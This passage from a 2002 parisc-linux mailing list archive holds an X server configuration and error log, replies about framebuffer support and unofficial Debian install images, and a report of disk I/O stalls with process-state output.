scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
Partition check:
 sda: sda1 sda2 sda3
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 62396k swap-space (priority -1)
eth0: link ok.

--=-Sc9Di8tYQ68vV83PA33C
Content-Disposition: attachment; filename=XF86Config-4
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=ISO-8859-1

# XF86Config-4 (XFree86 server configuration file) generated by Dexconf, th=
e
# Debian X Configuration tool, using values from the debconf database.
#
# Edit this file with caution, and see the XF86Config manual page.
# (Type "man XF86Config" at the shell prompt.)

Section "Files"
	FontPath	"unix/:7100"			# local font server
	# if the local font server has problems, we can fall back on these
	FontPath	"/usr/lib/X11/fonts/misc"
	FontPath	"/usr/lib/X11/fonts/cyrillic"
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/Type1"
	FontPath	"/usr/lib/X11/fonts/Speedo"
	FontPath	"/usr/lib/X11/fonts/100dpi"
	FontPath	"/usr/lib/X11/fonts/75dpi"
EndSection

Section "ServerFlags"
EndSection

Section "Module"
	Load	"ddc"
	Load	"GLcore"
	Load	"dbe"
	Load	"dri"
	Load	"extmod"
	Load	"glx"
	Load	"pex5"
	Load	"record"
	Load	"xie"
	Load	"bitmap"
	Load	"freetype"
	Load	"speedo"
	Load	"type1"
	Load	"vbe"
	Load	"int10"
EndSection

Section "InputDevice"
	Identifier	"Generic Keyboard"
	Driver		"keyboard"
	Option		"CoreKeyboard"
	Option		"XkbRules"	"xfree86"
	Option		"XkbModel"	"pc102"
	Option		"XkbLayout"	"us"
EndSection

Section "InputDevice"
	Identifier	"Configured Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/ttyS0"
	Option		"Protocol"		"Microsoft"
	Option		"Emulate3Buttons"	"true"
EndSection

Section "InputDevice"
	Identifier	"Generic Mouse"
	Driver		"mouse"
	Option		"SendCoreEvents"	"true"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
	Option		"Emulate3Buttons"	"true"
EndSection

Section "Device"
	Identifier	"STI Framebuffer"
	Driver		"fbdev"
	Option		"UseFBDev"		"true"
EndSection

Section "Monitor"
	Identifier	"HP-A4033A"
	HorizSync	64
	VertRefresh	160
	Option		"DPMS"
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"STI Framebuffer"
	Monitor		"HP-A4033A"
	DefaultDepth	24
	SubSection "Display"
		Depth		1
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		4
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		8
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		15
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		16
		Modes		"1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		24
		Modes		"1280x1024"
	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Generic Keyboard"
	InputDevice	"Configured Mouse"
	InputDevice	"Generic Mouse"
EndSection

Section "DRI"
	Mode	0666
EndSection

# end of XF86Config

--=-Sc9Di8tYQ68vV83PA33C
Content-Disposition: attachment; filename=XFree86.0.log
Content-Transfer-Encoding: quoted-printable
Content-Type: text/x-log; charset=ISO-8859-1


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: xx August 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.9-pa79 parisc64 [ELF]=20
(=3D=3D) Log file: "/var/log/XFree86.0.log", Time: Mon May 20 02:03:20 2002
(=3D=3D) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (=3D=3D) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(=3D=3D) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "HP-A4033A"
(**) |   |-->Device "STI Framebuffer"
(**) |-->Input Device "Generic Keyboard"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc102"
(**) XKB: model: "pc102"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(=3D=3D) Keyboard: CustomKeycode disabled
(**) |-->Input Device "Configured Mouse"
(**) |-->Input Device "Generic Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
(**) FontPath set to "unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts=
/100dpi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Typ=
e1,/usr/lib/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/7=
5dpi"
(=3D=3D) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.0) for S3 ViRGE chipsets: virge, 86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(EE) No devices detected.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.


--=-Sc9Di8tYQ68vV83PA33C--




From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X on my machine?
Date: Tue, 21 May 2002 08:25:46 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <200205210825.47013.deller@gmx.de>
References: <1021948605.2030.15.camel@taz.ab.hsia.telus.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621301 7370 80.91.229.3 (22 Nov 2014 01:55:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:01 +0000 (UTC)
To: Bob Corner <bcorner@telusplanet.net>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 00:29:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 9F1EE482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 00:29:50 -0600 (MDT)
Original-Received: (qmail 28579 invoked by uid 0); 21 May 2002 06:29:47 -0000
Original-Received: from pd9040725.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.37)
  by mail.gmx.net (mp004-rz3) with SMTP; 21 May 2002 06:29:47 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <1021948605.2030.15.camel@taz.ab.hsia.telus.net>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14797

On Tuesday 21 May 2002 04:36, Bob Corner wrote:
STI byte mode ROM at f8000000, hpa=f8000000
STI byte mode ROM, id 26d1482a-40a00499, conforms to spec rev. 8.02
STI device: HPA1659A
pty: 256 Unix98 ptys configured

You need to have stifb activated (e.g. when Linux boots up you should see
a penguin in the left top corner). Update to a newer kernel.

Greetings,
Helge




From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Armijn Hemel <armijn@nl.linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Tue, 21 May 2002 15:52:21 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20020521155220.A28518@humbolt.geo.uu.nl>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com> <20020517172600.I29738@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517154923.47C7E4838@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621302 7372 80.91.229.3 (22 Nov 2014 01:55:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 07:52:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from humbolt.nl.linux.org (humbolt.nl.linux.org [131.211.28.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id 115EE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 May 2002 07:52:36 -0600 (MDT)
Original-Received: (from localhost user: 'armijn' uid#1008 fake: STDIN
	(armijn@humbolt.nl.linux.org)) by humbolt.nl.linux.org
	id <S16481AbSEUNwV>; Tue, 21 May 2002 15:52:21 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20020517154923.47C7E4838@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, May 17, 2002 at 09:49:23AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14798

On Fri, May 17, 2002 at 09:49:23AM -0600, Grant Grundler wrote:

> > I did try an unoffical ISO (Debian 3.0), but that also didn't work.
> > Best to just wait for Debian 3.0?
> 
> I can't answer this and will bug someone else here to do that.
> Can you be more specific (and cc the mailing list) where
> you got the ISO from (ie file name)?

Sorry it took so long (no connectivity in the weekend and it was an extra
long weekend here due to holidays). I got it from here:

http://cdimage-unofficial.debian.net/

[click click click]

http://ftp.acc.umu.se/mirror/trasno.net/unofficial-debian-cds/woody-hppa/woody-hppa-1.raw

armijn

-- 
 ---------------------------------------------------------------------------
   armijn@nl.linux.org | http://people.nl.linux.org/~armijn/ | Penguin Power
 ---------------------------------------------------------------------------
                 http://nl.linux.org/ | Alles over Linux
 ---------------------------------------------------------------------------



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stalling system clues + parisc WCHAN hack
Date: Tue, 21 May 2002 08:35:10 -0600
Lines: 109
Approved: news@gmane.org
Message-ID: <E17AAjL-00079M-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621302 7376 80.91.229.3 (22 Nov 2014 01:55:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:02 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 08:35:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75735482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 08:35:48 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel8.hp.com (Postfix) with ESMTP id B5DFFA0018A
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 10:35:31 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 6478037F74
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 08:35:31 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP id 1D1604605
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 08:35:31 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17AAjL-00079M-00
	for <parisc-linux@parisc-linux.org>; Tue, 21 May 2002 08:35:15 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14799

I doubt I'm the only who sees parisc systems become unusuably slow,
apparently because any command needing disk I/O has to wait a long time.
This isn't the same symptom as the traditional Linux problem where one
fills the buffer cache (say, by running a large tar) and then the first
interactive command is slow due to paging.  In the traditional problem,
the system fairly quickly recovers normalcy, in our case it never does,
though processes eventually finish.  It's as if a timeout is releasing a
needed lock or something.

FYI the load for reproducing this stalling behavior is to run several
network-based (haven't tried local) 'cvs update' of the linux kernel
mixed with some diffs.  The load is running on a 50+G partition if that
matters, and I've seen problems in both ext2 and ext3.

It sounds like the disk is seeking in the pattern of a heartbeat, twice
a second.  I think the front-panel has a heartbeat monitor with that rhythm.

So I did a quick, simple, ugly hack, mostly to arch-independent code, to
get WCHAN out of parisc (http://ftp.parisc-linux.org/patches/wchan.diff),
and ran a ps on a system which was stalling.  The result is attached, as
is a copy of /proc/meminfo.

The interesting clue in the 'ps' to me are the 'D' processes, which I
suspect are those who've called down_uninterruptable.  The most frequent
WCHAN culprits are wait_on_buffer/page.  Where to go next solving this
problem (oh, with least effort too unfortunately)?

Linux b2000 2.4.18-pa25 #22 Fri May 17 11:04:28 MDT 2002 parisc unknown

  PID CMD              S WCHAN
    1 ini              S pipe_poll
    2 [keventd]        S context_thread
    3 [ksoftirqd_CPU0] S start_context_thread
    4 [kswapd]         S kswapd
    5 [bdflush]        S start_context_thread
    6 [kupdated]       S sync_supers
    9 [mdrecoveryd]    S md_thread
   10 [kjournald]      S wait_on_buffer
   62 [kjournald]      S wait_on_buffer
   98 /sbin/dhclient-2 S datagram_poll
  110 /sbin/portmap    S tcp_poll
  175 /sbin/syslogd    D wait_on_buffer
  178 /sbin/klogd      S syslog
  182 /sbin/rpc.statd  S tcp_poll
  190 /usr/sbin/inetd  S tcp_poll
  206 nmbd -a          S pipe_poll
  208 /usr/sbin/sshd   S tcp_poll
  213 /usr/bin/X11/xfs S unix_poll
  215 /usr/sbin/ntpd   S datagram_poll
  219 /usr/sbin/atd    S wait_on_buffer
  222 /usr/sbin/cron   S wait4
  238 -bash            S wait4
  783 /usr/sbin/apache S wait4
 2748 /usr/sbin/lpd    S tcp_poll
 4356 /usr/sbin/apache S wait_for_connect
 4357 /usr/sbin/apache S wait_for_connect
 4358 /usr/sbin/apache S wait_for_connect
 4359 /usr/sbin/apache S wait_for_connect
 4360 /usr/sbin/apache S wait_for_connect
 4361 /usr/sbin/apache S wait_for_connect
 4717 /usr/sbin/sshd   S normal_poll
 4718 -bash            S read_chan
 4794 /USR/SBIN/CRON   S pipe_wait
 4795 /usr/bin/perl -w S wait4
 4797 /usr/bin/ssh b20 S tcp_poll
 4799 /usr/sbin/sshd   S unix_poll
 4800 /usr/bin/perl -w S wait4
 4802 /usr/sbin/sendma S pipe_wait
 4824 /bin/sh -eux /pr S wait4
 5088 /USR/SBIN/CRON   S pipe_wait
 5089 /bin/sh -c cd ia S wait4
 5090 /bin/sh -uex ./b S wait4
 5092 /usr/sbin/sendma S pipe_wait
 5179 /bin/sh -uex ./b S wait4
 5180 diff -urN --excl D wait_on_page
 5209 /bin/sh -eux /pr S wait4
 5210 cvs -Qfz4 -d:pse D wait_on_page
 5291 /USR/SBIN/CRON   S pipe_wait
 5292 /bin/sh -c test  S wait4
 5293 run-parts --repo S pipe_poll
 5296 /bin/sh /etc/cro S wait4
 5297 /bin/sh /usr/bin S wait4
 5311 /bin/sh /usr/bin S wait4
 5312 sort -f          S pipe_wait
 5313 /usr/lib/locate/ S pipe_wait
 5314 /usr/bin/find /  D wait_on_buffer
 5367 /bin/sh ./daemon S wait4
 5368 setiathome -nice R wait_on_buffer
 5381 ps -eo pid,cmd,s R wait_on_buffer

        total:    used:    free:  shared: buffers:  cached:
Mem:  525357056 521830400  3526656        0 70672384 356921344
Swap: 511696896  5632000 506064896
MemTotal:       513044 kB
MemFree:          3444 kB
MemShared:           0 kB
Buffers:         69016 kB
Cached:         347420 kB
SwapCached:       1136 kB
Active:         112296 kB
Inactive:       329744 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:       513044 kB
LowFree:          3444 kB
SwapTotal:      499704 kB
SwapFree:       494204 kB



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mattias Wadenstein <maswan@acc.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Tue, 21 May 2002 16:39:11 +0200 (MET_DST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.A41.4.44.0205211630470.17882-100000@stalin.acc.umu.se>
References: <20020521155220.A28518@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621302 7381 80.91.229.3 (22 Nov 2014 01:55:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:02 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	<parisc-linux@lists.parisc-linux.org>
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 08:39:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from khan.acc.umu.se (khan.acc.umu.se [130.239.18.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1E86482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 May 2002 08:39:32 -0600 (MDT)
Original-Received: from stalin.acc.umu.se (maswan@stalin.acc.umu.se [130.239.18.135])
	by khan.acc.umu.se (8.11.6/8.11.6) with ESMTP id g4LEdBh08349;
	Tue, 21 May 2002 16:39:16 +0200 (MEST)
In-Reply-To: <20020521155220.A28518@humbolt.geo.uu.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14800

On Tue, 21 May 2002, Armijn Hemel wrote:

> On Fri, May 17, 2002 at 09:49:23AM -0600, Grant Grundler wrote:
>
> > > I did try an unoffical ISO (Debian 3.0), but that also didn't work.
> > > Best to just wait for Debian 3.0?
> >
> > I can't answer this and will bug someone else here to do that.
> > Can you be more specific (and cc the mailing list) where
> > you got the ISO from (ie file name)?
>
> Sorry it took so long (no connectivity in the weekend and it was an extra
> long weekend here due to holidays). I got it from here:
>
> http://cdimage-unofficial.debian.net/
>
> [click click click]
>
> http://ftp.acc.umu.se/mirror/trasno.net/unofficial-debian-cds/woody-hppa/woody-hppa-1.raw

Please note that the guy doing these has run out of space and they are
starting to get quite old. I have in another place (
http://ftp.acc.umu.se/mirror/debian-cd/3.0-pre2/ ) some newer images, and
a pre-release for the actual woody images. I know there has been a few
bugs here and there, but I don't know of any hppa-specific.

Otherwise, I would suggest looking at the ftp.parisc-linux.org mirror I
have, there are some isos around there too, and they are probably better
tested for parisc-functionality. There is also a fairly small one for
doing netinstalls in that directory.

Personally, I don't have any experience in doing cd boots though. I have
only done netboot installs. (Setting up bootp+tftp and give it the
lifimage in the boot-floppies directory.)

/Mattias Wadenstein




From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Tue, 21 May 2002 09:45:08 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020521154508.99536482A@dsl2.external.hp.com>
References: <Pine.A41.4.44.0205211630470.17882-100000@stalin.acc.umu.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621303 7385 80.91.229.3 (22 Nov 2014 01:55:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 21 09:45:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 99536482A; Tue, 21 May 2002 09:45:08 -0600 (MDT)
In-Reply-To: Message from Mattias Wadenstein <maswan@acc.umu.se> 
   of "Tue, 21 May 2002 16:39:11 +0200." <Pine.A41.4.44.0205211630470.17882-100000@stalin.acc.umu.se> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
